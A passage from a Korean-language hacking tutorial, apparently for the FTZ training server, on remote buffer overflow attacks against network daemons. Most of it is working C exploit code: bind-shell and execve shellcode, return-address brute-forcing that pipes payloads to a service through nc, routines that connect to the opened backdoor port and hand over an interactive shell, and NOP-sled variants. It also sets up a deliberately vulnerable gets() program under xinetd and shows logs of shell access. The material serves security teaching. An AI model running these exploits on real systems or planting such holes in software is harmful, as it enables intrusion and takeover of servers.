"\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
"\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
"\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
"\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
"\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
"\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
"\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
"\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
int main()
{
char Attack_String[320], Cmd[400];
int Ret_Addr = 0xc0000000;
memset(Attack_String, 'A', 320);
memcpy(Attack_String, shellcode, strlen(shellcode));
while(1){
memcpy(&Attack_String[316], &Ret_Addr, 4);
Ret_Addr -= 4;
printf("%p\n", Ret_Addr);
// 공격 패킷 전송 루틴
sprintf(Cmd, "echo \"%s\" | nc localhost 31337", Attack_String);
system(Cmd);
}
}
========================================================================
이제 위 Exploit을 실행하면, 다음과 같이 취약 프로그램의 리턴 어드레스 값을
변경해가며 공격 패킷을 전송한다. 이 과정이 계속 반복하다가 취약 프로그램의
변경된 리턴 어드레스와 쉘코드가 위치하게되는 string 변수의 시작 부분이
일치하게되면, 백도어 포트가 열리게 될 것이다.
========================================================================
[guest@ftz lecture]$ ./exploit
... 생략 ...
0xbffff9fc
당신이 입력한 문자열 : 1??�F?1???켘켘켘됣낡f?돿1??PPfh곤쿯S됤쿞쿝Q됈됣컀?1?
홺1??1픐R됣낡f?됖1??�굅0?1??PW됣낡f?됄1?方?9홻@1핃馨?1??箚??1퓾??1퓾??1픐h//
shh/bin됥딻PS됣?
?1??1핃箚?
?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0xbffff9f8
당신이 입력한 문자열 : 1??�F?1???켘켘켘됣낡f?돿1??PPfh곤쿯S됤쿞쿝Q됈됣컀?1?
홺1??1픐R됣낡f?됖1??�굅0?1??PW됣낡f?됄1?方?9홻@1핃馨?1??箚??1퓾??1퓾??1픐h//
shh/bin됥딻PS됣?
?1??1핃箚?
... 생략 ...
========================================================================
위 Exploit을 실행한 결과, 약 10여분이 지난 후에 45295번 포트가 열리게되었고,
취약 프로그램을 수정하여 string 변수의 주소 값을 출력해본 결과 0xbffff9f8이
바로 공격자가 찾아내야했던 값이라는 것을 알 수 있었다.
이처럼 백도어 포트를 오픈하는 바인드 쉘코드와 Brute Force를 이용하여 독립적인
네트워크 프로그램에대한 공격을 성공시켰다.
하지만, 어느 순간에 공격에 성공했는지를 알 수 없었기 때문에, 수시로 45295번
포트로 수동 접속을 해봐야만했다.
그럼 이번에는 자동으로 49295번 포트로 접속을하여, 만약 접속에 성공했다면
Exploit을 종료시키는 루틴을 추가해 보겠다.
◎ Exploit 작성 4단계 : 공격 성공 여부 판단 루틴 추가
========================================================================
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
"\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
"\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
"\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
"\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
"\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
"\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
"\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
int Check_Result(void)
{
int sockfd;
struct sockaddr_in target_addr;
target_addr.sin_family = AF_INET;
target_addr.sin_port = htons(45295);
target_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
bzero(&target_addr.sin_zero, 0, 8);
sockfd = socket(AF_INET, SOCK_STREAM, 0);
// 45295번 포트로 접속이 되면 성공, 안되면 실패.
if(connect(sockfd, (struct sockaddr *)&target_addr, sizeof(target_addr)) == -1){
close(sockfd);
return 0;
}
else{
close(sockfd);
return 1;
}
}
int main()
{
char Attack_String[320], Cmd[400];
int Ret_Addr = 0xbffffa00;
memset(Attack_String, 'A', 320);
memcpy(Attack_String, shellcode, strlen(shellcode));
while(1){
memcpy(&Attack_String[316], &Ret_Addr, 4);
Ret_Addr -= 4;
printf("%p\n", Ret_Addr);
sprintf(Cmd, "echo \"%s\" | nc localhost 31337", Attack_String);
system(Cmd);
// 공격 결과 체크 루틴
if(Check_Result()){
printf("Exploit Succeed.!\n");
exit(0);
}
}
}
========================================================================
* 실행 결과
========================================================================
[guest@ftz lecture]$ ./exploit
... 생략 ...
0xbffff9fc
당신이 입력한 문자열 : 1??�F?1???켘켘켘됣낡f?돿1??PPfh곤쿯S됤쿞쿝Q됈됣컀?1?
홺1??1픐R됣낡f?됖1??�굅0?1??PW됣낡f?됄1?方?9홻@1핃馨?1??箚??1퓾??1퓾??1픐h//
shh/bin됥딻PS됣?
?1??1핃箚?
?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0xbffff9f8
당신이 입력한 문자열 : 1??�F?1???켘켘켘됣낡f?돿1??PPfh곤쿯S됤쿞쿝Q됈됣컀?1?
홺1??1픐R됣낡f?됖1??�굅0?1??PW됣낡f?됄1?方?9홻@1핃馨?1??箚??1퓾??1퓾??1픐h//
shh/bin됥딻PS됣?
?1??1핃箚?
?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA效??l덠?퓳tB
Exploit Succeed.!
[guest@ftz lecture]$
========================================================================
이처럼 0xbfff9f8 값에서 공격에 성공하여 45295번 포트가 열렸음을 알 수 있게
되었다. 이제 수동으로 45295번 포트에 접속하면 쉘 권한을 획득할 수 있을 것이다.
하지만, 보통 공개된 Remote Exploit을 보면, 공격 성공 후 자동으로 쉘 권한까지
띄워주도록 구현되어 있다. 마지막으로 그 기능을 추가해보자.
◎ Exploit 작성 5단계 : 쉘 권한 획득 루틴 추가
========================================================================
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
"\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
"\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
"\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
"\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
"\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
"\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
"\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
void Get_Shell(int sockfd)
{
int length;
char data[1024];
fd_set read_fds;
while(1){
FD_ZERO(&read_fds);
FD_SET(sockfd, &read_fds);
FD_SET(0, &read_fds);
select(sockfd+1, &read_fds, NULL, NULL, NULL);
// 소켓으로부터 data가 왔을 때의 처리.
if(FD_ISSET(sockfd, &read_fds)){
length = recv(sockfd, data, 1024, 0);
// 받은 내용을 화면에 출력한다.
if(write(1, data, length) == 0)
break;
}
// 공격자가 키보드를 입력했을 때의 처리.
if(FD_ISSET(0, &read_fds)){
length = read(0, data, 1024);
// 입력한 내용을 쉘백도어로 전송한다.
if(send(sockfd, data, length, 0) == 0)
break;
}
}
}
int Check_Result(void)
{
int sockfd;
struct sockaddr_in target_addr;
target_addr.sin_family = AF_INET;
target_addr.sin_port = htons(45295);
target_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
bzero(&target_addr.sin_zero, 0, 8);
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if(connect(sockfd, (struct sockaddr *)&target_addr, sizeof(target_addr)) == -1){
close(sockfd);
return 0;
}
else{
// 공격에 성공하였다면, 확인 명령을 전송하고 쉘 연결.
send(sockfd, "uname -a;id\n", 12, 0);
Get_Shell(sockfd);
close(sockfd);
return 1;
}
}
int main()
{
char Attack_String[320], Cmd[400];
int Ret_Addr = 0xbffffa00;
memset(Attack_String, 'A', 320);
memcpy(Attack_String, shellcode, strlen(shellcode));
while(1){
memcpy(&Attack_String[316], &Ret_Addr, 4);
Ret_Addr -= 4;
printf("%p\n", Ret_Addr);
sprintf(Cmd, "echo \"%s\" | nc localhost 31337", Attack_String);
system(Cmd);
if(Check_Result()){
printf("Exploit Succeed.!\n");
exit(0);
}
}
}
========================================================================
* 실행 결과
========================================================================
[guest@ftz lecture]$ ./exploit
... 생략 ...
0xbffff9fc
당신이 입력한 문자열 : 1??�F?1???켘켘켘됣낡f?돿1??PPfh곤쿯S됤쿞쿝Q됈됣컀?1?
홺1??1픐R됣낡f?됖1??�굅0?1??PW됣낡f?됄1?方?9홻@1핃馨?1??箚??1퓾??1퓾??1픐h//
shh/bin됥딻PS됣?
?1??1핃箚?
?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Linux ftz.hackerschool.org 2.4.20 #1 SMP Fri Mar 28 22:31:45 EST 2003 i686 unknown
uid=1000(guest) gid=1000(guest) groups=1000(guest)
whoami
guest
========================================================================
이처럼 이제 공격 성공 후 바로 쉘 권한을 획득할 수 있게 되었다.
Exploit의 업그레이드는 이정도면 충분할 듯하다. 이제 더욱 효과적으로 리모트
오버플로우 공격을 성공시킬 수 있는 방법이 있는지 생각해보자.
지난 Xinetd 환경에서의 오버플로우 공격에선 총 7가지 방법으로 공격을 시도해
볼 수 있었다. 하지만, 독립적인 네트워크로 구현된 취약 프로그램에는 그러한
시도를 해 볼 수 있는 범위가 아주 좁게 축소된다.
지금 이 환경에서의 RTL 기법을 생각해보자. 단순히 라이브러리 함수들만으로는
쉘 백도어 포트를 생성하거나, 기타 어떤 다른 응용 방법이 존재하지 않는다.
쉘을 실행하는 backdoor.sh 파일을 생성하고, system() 함수를 이용해 in.telnetd
프로그램을 실행하는 정도의 방법을 생각할 수는 있지만, 이렇게 하려면 오히려
더욱 조잡한 공격 과정이 필요해질 것이다.
또, return address 뒷쪽으로 대량의 NOP을 넣고 그 뒤의 쉘코드가 실행되도록
하는 것도 거의 불가능하다. 왜냐하면 보통 recv() 함수의 세번째 인자에의해서
전송받는 데이터의 총 길이가 제한되어있기 때문이다. 이 길이가 return address
영역을 초과하도록 프로그래밍하는 사람은 없을 것이다.
따라서 기껏해야 데몬이 받아들이는 버퍼의 한계를 넘지 않는 범위에서 NOP을
추가하는 정도의 기교밖에는 기대할 수 없을 것이다.
공격 기법들에 대해 학습해 보도록 하겠다. 지금까지 우리는 로컬 영역에 설치된
프로그램. 즉, 우리가 쉘을 가지고 있는 상태에서 더욱 높은 권한(보통 root)
을 얻어내기 위해서 취약 프로그램을 공격해왔었다. 하지만, 이번의 설정은
우리가 Target 서버에 아무런 쉘 권한도 가지고있지 않고, 취약 프로그램이
Xinetd 혹은 독립적인 네트워크 프로그램 형태로 Target 서버의 특정 Port로
연결된 상태, 즉, 데몬으로 작동하고있다고 가정한다. 이와같은 형식으로 구성된
프로그램의 예는 우리 주위에서 쉽게 찾을 수 있다. Telnet, SSH, Apache,
Sendmail, POP 등등.. 이 프로그램들의 특징은 각각 자신의 고유한 Port 번호에
프로그램의 입출력이 연결되어 그 Port에서 들어오는 입력을 처리하고, 그에 대한
결과를 역시 같은 Port로 출력하며, 이러한 처리를 다수의 클라이언트에게 제공
하는 서버 형태의 프로그램이라는 점이다. 그럼 이러한 형태의 프로그램은 어떻게
구현 가능할까? 크게 두 가지 방법으로 나누어볼 수 있으며, 앞으로 이 두 가지
경우에대한 공격 테스트를 진행하도록 하겠다.
◎ 네트워크 프로그램을 구현하는 두 가지 방법
1. 표준 입출력에 작동하는 일반적인 프로그램을 구현한 후, Inetd 혹은
Xinetd 데몬을 이용하여 네트워크로 연결 시킴.
2. 독립적인 네트워크 프로그램으로 구현하여 작동시킴.
이번 문서에서는 이 두 가지 경우 중 첫 번째에 대한 공격들만 다루어 보도록 할
예정이다. 그럼 먼저 1번에 해당하는 취약 프로그램을 한번 구현해보자.
======================================================
int main()
{
char buffer[100];
gets(buffer);
printf("당신이 입력한 문자열 : %s\n", buffer);
}
======================================================
이 프로그램은 마치 로컬 환경을 위한 것으로 보인다. 하지만, 다음과 같은
과정을 통해 Xinet 데몬에 등록하면, Xinet 데몬에 의해 표준 입력 주체는
Xinetd 설정에의해 지정된 Port가 되며, 표준 출력의 주체 역시 그 Port가
된다. 따라서 결국 위 프로그램이 네트워크 프로그램으로 작동하게 될 것이며,
이러한 과정은 내부적으로 디스크립터의 입출력을 변경해주는 dup() 계열의
함수에의해 이루어진다.
◎ 프로그램을 Xinetd에 등록하는 과정.
1. 위 코드를 컴파일한다.
===========================================================
[root@ftz BOF]# gcc -o vuln vuln.c
/tmp/ccmC8XAk.o(.text+0x18): In function `main':
: the `gets' function is dangerous and should not be used.
[root@ftz BOF]#
===========================================================
친절하게도 gcc가 "gets 함수는 위험해!" 하며 주의를 준다. 하지만 우리는
gets 함수를 매우 좋아함으로 위 경고에 신경쓸 필요가 없다.
2. /etc/xinetd.d 디렉토리로 이동한 후, 다음과 같은 파일을 작성한다.
참고로 user 부분은 취약 프로그램을 실행시킬 권한을 정의하는데, root로 할 경우
내가 아닌 다른 사람에게 공격당할 경우 치명적임으로 일반 계정으로 지정해준다.
===================================================
[root@ftz xinetd.d]# cat > vuln
service vuln
{
flags = REUSE
socket_type = stream
wait = no
user = guest
server = /root/BOF/vuln
disable = no
}
[root@ftz xinetd.d]#
===================================================
3. 위에서 service 오른쪽의 단어는 Port Name을 의미한다. 하지만, vuln이라는
이름의 Port는 정의되어있지 않음으로 이를 /etc/services 파일에 추가해 준다.
[root@ftz xinetd.d]# echo "vuln 31337/tcp" >> /etc/services
4. 이제 xinetd를 재구동시키면 지금 추가한 설정이 적용되어 31337번의 TCP
포트가 오픈되고, 그곳에 접속하면 앞서 작성한 vuln 프로그램을 만날 수 있게된다.
=======================================================================
[root@ftz BOF]# /etc/rc.d/init.d/xinetd restart
xinetd 를 정지함: [ 확인 ]
xinetd (을)를 시작합니다: [ 확인 ]
[root@ftz BOF]#
=======================================================================
5. 접속 테스트
=================================================
[root@ftz BOF]# telnet localhost 31337
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
mirable
당신이 입력한 문자열 : mirable
Connection closed by foreign host.
[root@ftz BOF]#
=================================================
자, 그럼 이제부터 이 취약 프로그램에 대한 다음과 같은 7가지 공격 테스트를
시도해 보겠다.
1. 무작위로 쉘코드의 위치를 찾아내는 공격 1 (정확하게 쉘코드 찾기)
공격 효율성 : ★★☆☆☆
2. 무작위로 쉘코드의 위치를 찾아내는 공격 2 (NOP을 이용하면 편하다)
공격 효율성 : ★★★☆☆
3. 무작위로 쉘코드의 위치를 찾아내는 공격 3 (더욱 많은 NOP을 넣어볼까?)
공격 효율성 : ★★★★☆
4. 버퍼의 크기가 작을 때의 리모트 공격
공격 효율성 : ★★★★☆
5. 리모트 환경에서의 Return to Library를 이용한 공격
공격 효율성 : ★★☆☆☆
6. 단 한번에 RTL을 이용한 공격 성공시키기
공격 효율성 : ★★★☆☆
7. 단 한번에 RTL을 이용한 공격 성공시키기 2
공격 효율성 : ★★★★★
그럼 먼제 1번에 해당하는 공격을 해보자. 공격 시나리오는 다음과 같다. 먼저,
과연 몇 바이트를 입력해야 segfault가 발생하는지를 파악한다. 그 다음엔 buffer
변수에 주입할 쉘코드를 생성한다. 이제 실제 해당 Port에 접속하여 쉘코드를
입력하고, return address가 저장되어있는 부분을 스택의 바닥 부분인 0xc000000
에서부터 4바이트씩 감소해나간다. 공격이 성공할 때까지 계속해서 이 과정을
반복하고, 만약 공격에 성공한다면 무차별 대입 과정은 종료되고 TAREGET 서버의
쉘이 터미널에 나타날 것이다.
일단, 몇 바이트를 입력했을 때 segfault가 발생하는지부터 확인해보자.
=============================================================================
[root@ftz BOF]# perl -e 'printf "A"x100; printf "\n"' | nc localhost 31337
당신이 입력한 문자열 : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[root@ftz BOF]#
[root@ftz BOF]# perl -e 'printf "A"x150; printf "\n"' | nc localhost 31337
[root@ftzk BOF]#
=============================================================================
150바이트를 입력하니, 아무런 응답이 없이 연결이 끊겼다. 이처럼 local 환경에서
segfault가 나는 것과는 달리 리모트에선 아무런 반응 없이 바로 연결이 끊겨버리는
것이 특징이다. 100에선 segfault가 나지 않고, 150에선 났으니 버퍼의 크기가 100과
150 사이라는 것을 추측할 수 있다.
=============================================================================
[root@ftz BOF]# perl -e 'printf "A"x120; printf "\n"' | nc localhost 31337
당신이 입력한 문자열 : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[root@ftz BOF]# perl -e 'printf "A"x130; printf "\n"' | nc localhost 31337
[root@ftz BOF]#
=============================================================================
점점 정확한 버퍼의 범위가 모습을 드러내고있다.
=============================================================================
[root@ftz BOF]# perl -e 'printf "A"x120; printf "\n"' | nc localhost 31337
당신이 입력한 문자열 : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[root@ftz BOF]# perl -e 'printf "A"x124; printf "\n"' | nc localhost 31337
[root@ftz BOF]#
=============================================================================
정확히 124바이트에서 오버플로우가 일어났다. SFP가 변경되었을 때 역시 segfault가
난다는 사실을 감안하면, 121~124 영역은 SFP 영역이며, 125~128이 바로 RET 영역
이라고 추측해낼 수 있다. 또한, 버퍼의 크기가 120바이트로 예측되었지만, DUMMY
값이 있을 수 있음으로 실제로는 120바이트 이하가 될 가능성도 있다. (실제로는
100바이트이다.) 하지만, 우리에게 중요한 부분은 RET 영역임으로 DUMMY 값이 어떤
다른 중요한 영향을 미치지는 않는다.
그럼 이제 공격 STRING의 모습을 구성해보자.
※ 취약 프로그램의 스택
[~~~~~~~~~~총 120 바이트의 버퍼 공간~~~~~~~~~~~~~][SFP][RET][~~~~~~~~~~~~~~]
※ 공격 스트링
[~~~~쉘 코드~~~~][~~~~~~~~~쓰레기 값들~~~~~~~~~~~][SFP][RET]
↑ │
└────────────────────────-───┘
RET이 쉘 코드를 정확히 가리키도록 BRUTE FORCE
그리고 위 내용에 따라 Exploit을 구현한다. 완성된 Exploit이 아닌, 구현해
나가는 과정을 순차적으로 보이도록 하겠다.
※ BRUTE FORCE 테스트
============================
int main()
{
int *ret;
ret = (int *)0xc0000000;
while(1){
printf("%p\n", ret);
ret--;
sleep(1);
}
}
============================
※ 실행 결과
============================
[root@ftz BOF]# ./a
0xc0000000
0xbffffffc
0xbffffff8
0xbffffff4
0xbffffff0
0xbfffffec
0xbfffffe8
0xbfffffe4
0xbfffffe0
(ctrl+c)
[root@ftz BOF]#
============================
음.. 원하는 결과대로 잘 나오는군.. 이런 식으로 계속 모든 스택 영역을 파헤치다
보면 결국엔 쉘코드의 위치를 찾아 쉘을 띄우게 될 것이다.
※ 120바이트 변수에 쉘코드를 넣자
==========================================================================
#include <stdio.h>
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main()
{
int *ret;
char spy[128];
memset(spy, 'A', 128);
memcpy(spy, shellcode, strlen(shellcode));
ret = (int *)0xc0000000;
while(1){
printf("%p\n", ret);
ret--;
sleep(1);
}
}
==========================================================================
※ 리턴 어드레스 부분(spy+124)에 ret 변수의 값을 넣자.
==========================================================================
#include <stdio.h>
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main()
{
int *ret;
char spy[128];
memset(spy, 'A', 128);
memcpy(spy, shellcode, strlen(shellcode));
ret = (int *)0xc0000000;
while(1){
printf("%p\n", ret);
memcpy(spy+124, &ret, 4);
ret--;
}
}
==========================================================================
※ 완성된 공격 STRING이 해당 IP와 Port로 전송되도록 한다.
==========================================================================
#include <stdio.h>
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main()
{
int *ret;
char spy[128];
char command[300];
memset(spy, 'A', 128);
memcpy(spy, shellcode, strlen(shellcode));
ret = (int *)0xc0000000;
while(1){
printf("%p\n", ret);
memcpy(spy+124, &ret, 4);
sprintf(command, "(printf \"id\\n\" | (echo \"%s\\n\";cat)) | nc localhost 31337", spy);
system(command);
ret--;
}
}
==========================================================================
이것이 완성된 Exploit이다. 위 Exploit은 0xc0000000에서부터 4바이트씩 감소해
가며 쉘코드의 위치를 찾다가, 쉘코드가 발견되어 쉘이 실행된다면 id라는 문자열을
전송하여 화면에 이 명령의 결과가 출력되도록 해줄 것이다. 만약 특정 명령어가
아닌 직접 쉘을 사용하고 싶다면, 위 소스 중 printf "id\n" 부분을 삭제하면 된다.
이제 Exploit을 실행시켜 성능을 확인해보자.
==================================
[root@ftz BOF]# ./ex
0xc0000000
0xbffffffc
0xbffffff8
0xbffffff4
0xbffffff0
0xbfffffec
0xbfffffe8
... 생략 ...
0xbffffab0
0xbffffaac
0xbffffaa8
0xbffffaa4
0xbffffaa0
0xbffffa9c
uid=1000(guest) gid=1000(guest)
(공격 성공)
==================================
위와 같은 결과가 나오기까지는 약 1~2분의 시간밖에 소요되지 않는다. 약간 무식한
방법이긴 하지만 그리 비효율적인 공격 방법은 아니라는 말이다. 그리고 앞으로
공격 경험이 많아지면 버퍼의 위치가 대략 0xbffffb00 이하의 주소에 위치하게
된다는 사실도 알게 될 것임으로 Exploit을 수정하여 공격 시간을 훨씬 단축
시킬 수 있을 것이다. 또, 위 같은 BRUTE FORCE 공격 중 쉘코드가 실행되지 않았
음에도 불구하고 터미널이 멈추는 경우가 있다. 이는 리턴 어드레스가 운 나쁘게도
while(1)과 같은 무한 루프 기계어를 만나게 되었을 경우이며, CTRL+C를 눌러 수동
으로 터미널을 빠져나오도록 해줘야한다.
다음엔 공격 확률을 높여서 쉘을 획득하는 시간을 최대한 높이는 것을 목적으로
Exploit을 수정해 나가보도록 하겠다. 먼저, 로컬에서 그랬던 것과 마찬가지로
NOP 코드를 충분히 넣어 쉘코드를 더욱 쉽게 실행할 수 있도록 유도해보자.
간단하게 다음과 같이 Exploit을 수정해 주면 될 것이다.
==========================================================================
#include <stdio.h>
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main()
{
int *ret;
char spy[128];
char command[300];
memset(spy, '\x90', 128); // NOP으로 가득 채운다.
memcpy(spy+120-strlen(shellcode), shellcode, strlen(shellcode));
// 앞쪽의 NOP들을 유지시킨 채 변수의 끝 부분에 쉘코드가 들어간다.
ret = (int *)0xc0000000;
while(1){
printf("%p\n", ret);
memcpy(spy+124, &ret, 4);
sprintf(command, "(printf \"id\\n\" | (echo \"%s\\n\";cat)) | nc localhost 31337", spy);
system(command);
ret = ret - 20; // 넉넉하게 80바이트씩 이동한다.
}
}
==========================================================================
이제 설레이는 마음으로 수정된 Exploit을 실행해보자. 참고로 가장 마지막 라인인
ret - 20이 "ret 주소를 80바이트 감소"를 의미하는 이유는 ret 포인터 변수의
TYPE이 4바이트에 해당하는 int이기 때문이다. 포인터의 +, - 연산은 해당 포인터
형의 바이트 수 단위에 따라 적용된다는 것을 기억하라. 또, 80바이트로 정한
이유는 SPY 변수의 쉘코드 앞쪽에 들어간 NOP 크기가 얼핏 계산하기에 80~100바이트
정도 되기 때문이다. 약 80~100바이트가 NOP임으로 그 NOP 지대의 단 한 부분만을
리턴 어드레스가 가리키기만 하면 결국 쉘코드가 실행될 것이다.
==========================================================================
[root@ftz BOF]# ./ex
0xc0000000
0xbfffffb0
0xbfffff60
sh: command substitution: line 1: syntax error near unexpected token `0@(?
sh: command substitution: line 1: `???
B 0@(??
0xbfffff10
0xbffffec0
0xbffffe70
0xbffffe20
0xbffffdd0
0xbffffd80
0xbffffd30
0xbffffce0
0xbffffc90
0xbffffc40
0xbffffbf0
0xbffffba0
0xbffffb50
0xbffffb00
0xbffffab0
uid=1000(guest) gid=1000(guest)
(공격 성공)
==========================================================================
공격을 성공시키기까지 약 5초도 채 걸리지 않았다. 역시 NOP의 위력은 로컬에서나
리모트에서나 그 역할을 톡톡히 하는 것 같다.
이정도만 해도 리모트 공격의 성과는 충분히 만족할 만하다. 하지만, 재미를 위해
몇 가지 기술을 더 익혀보도록 하자.
다음에 설명할 내용은 더 많은 NOP을 주입하는 기술이다. 버퍼의 용량은 이미 120
바이트로 한정되어있다. 그런데 어떻게 더 많은 NOP을 주입할 것인가? 바로 답을
얘기하자면 "리턴 어드레스의 뒷 부분에 NOP과 셀코드를 넣는다" 이다.
[~~~~~쓰레기 값 120 바이트~~~~~~][SFP][RET][~~~~~~~~~~~NOP~~~~~~~~~~][쉘코드]
│ ↑
└─┘
이 부분을 가리키도록 BRUTE FORCE
위의 시나리오에 맞게 앞서 작성한 Exploit을 수정해보자.
==========================================================================
#include <stdio.h>
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main()
{
int *ret;
char spy[1000]; // 1000바이트를 할당한다.
